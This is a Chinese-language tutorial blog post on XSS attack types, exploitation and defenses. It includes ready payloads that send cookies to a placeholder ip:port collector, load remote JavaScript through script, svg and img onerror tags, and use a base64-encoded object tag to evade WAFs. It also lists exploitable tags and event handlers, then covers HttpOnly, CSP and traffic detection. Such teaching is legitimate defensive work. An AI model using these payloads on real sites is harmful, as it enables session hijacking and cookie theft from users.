XSS利用

文章详细介绍了XSS攻击的三种类型——反射型、存储型和DOM型,展示了如何利用XSS获取Cookie和加载远程JS文件,并探讨了编码绕过和WAF的限制。同时,提出了防御XSS的方法,如启用HTTPOnlyCookie,使用CSP以及Web流量检测。
摘要由CSDN通过智能技术生成

系列文章目录


一、XSS是什么?

XSS的本质是浏览器执行了恶意js代码。

二、XSS分类

1.反射型XSS

需要受害者主动去点击存在XSS的恶意链接。是非持久的,一般场景危害性低(大流量页面除外)。

2.存储型XSS

恶意js代码存储在web服务器中,用户访问页面时会触发,持久化,危害性较高。

3.DOM型XSS

浏览器执行了恶意js代码,通过修改和获取Dom中的数据。

三、XSS利用

XSS利用文章很多,不再重复,这里主要是利用XSS获取用户敏感信息和加载远程文件。

获取Cookie
<script>document.location="http://ip:port/cookie?cookie="+document.cookie</script>
加载远程js文件
<script src="http://ip:port/xsstools/myjs/ceshi.js"></script>
<svg onmouseover="$.getScript`https://ip:port/xssools/myjs/ceshi.js`" stype="display:none">
<img src="1" onerror="s=createElement('script');body.appendChild(s);s.src='//ip:port/xsstools/myjs/ceshi.js'">
编码绕过

大小写绕过基本都会被WAF拦截,可以使用编码。

base64
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcDpwb3J0L3hzc3Rvb2xzL215anMvY2VzaGkuanMiPjwvc2NyaXB0Pg=="></object>
可加载远程文件的标签和属性
标签

svg|script|input|p|div|link|button|details|img|object|iframe|a|body|bgsound|br|style|mate|table|div|base

属性

FSCommand|onAbort|onActivate|onAfterPrint|onAfterUpdate|onBeforeActivate|onBeforeCopy|onBeforeCut|onBeforeDeactivate|onBeforeEditFocus|onBeforePaste|onBeforePrint|onBeforeUnload|onBeforeUpdate|onBegin|onBlur|onBounce|onCellChange|onChange|onClick|onContextMenu|onControlSelect|onCopy|onCut|onDataAvailable|onDataSetChanged|onDataSetComplete|onDblClick|onDeactivate|onDrag|onDragEnd|onDragLeave|onDragEnter|onDragOver|onDragDrop|onDragStart|onDrop|onEnded|onError|onErrorUpdate|onFilterChange|onFinish|onFocus|onFocusIn|onFocusOut|onHashChange|onHelp|onInput|onKeyDown|onKeyPress|onKeyUp|onLayoutComplete|onLoad|onLoseCapture|onMediaComplete|onMediaError|onMessage|onMouseDown|onMouseEnter|onMouseLeave|onMouseMove|onMouseOut|onMouseOver|onMouseUp|onMouseWheel|onMove|onMoveEnd|onMoveStart|onOffline|onOnline|onOutOfSync|onPaste|onPause|onPopState|onProgress|onPropertyChange|onReadyStateChange|onRedo|onRepeat|onReset|onResize|onResizeEnd|onResizeStart|onResume|onReverse|onRowsEnter|onRowExit|onRowDelete|onRowInserted|onScroll|onSeek|onSelect|onSelectionChange|onSelectStart|onStart|onStop|onStorage|onSyncRestored|onSubmit|onTimeError|onTrackChange|onUndo|onUnload|onURLFlip|seekSegmentTim

四、XSS防御

开发阶段
  • 开启Http only.
  • 通过CSP限制恶意js执行。
  • 永远不要相信外部输入,对输入进行编码。
  • 遵循安全开发规范,不使用危险函数。
web流量检测
  • WAF
    直接检测拦截请求中函数
  • 关联检测
    WAF限制于性能和功能大部分为单包检测,XSS检测误报或漏报较高,可以采集web流量进行旁路检测,关联请求响应,有条件还可以关联dnslog日志等进行检测。
    在这里插入图片描述

总结

XSS利用方式较多,多研究总有一个适合你,
XSS防御方式较多,多种方式联动防御才好。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值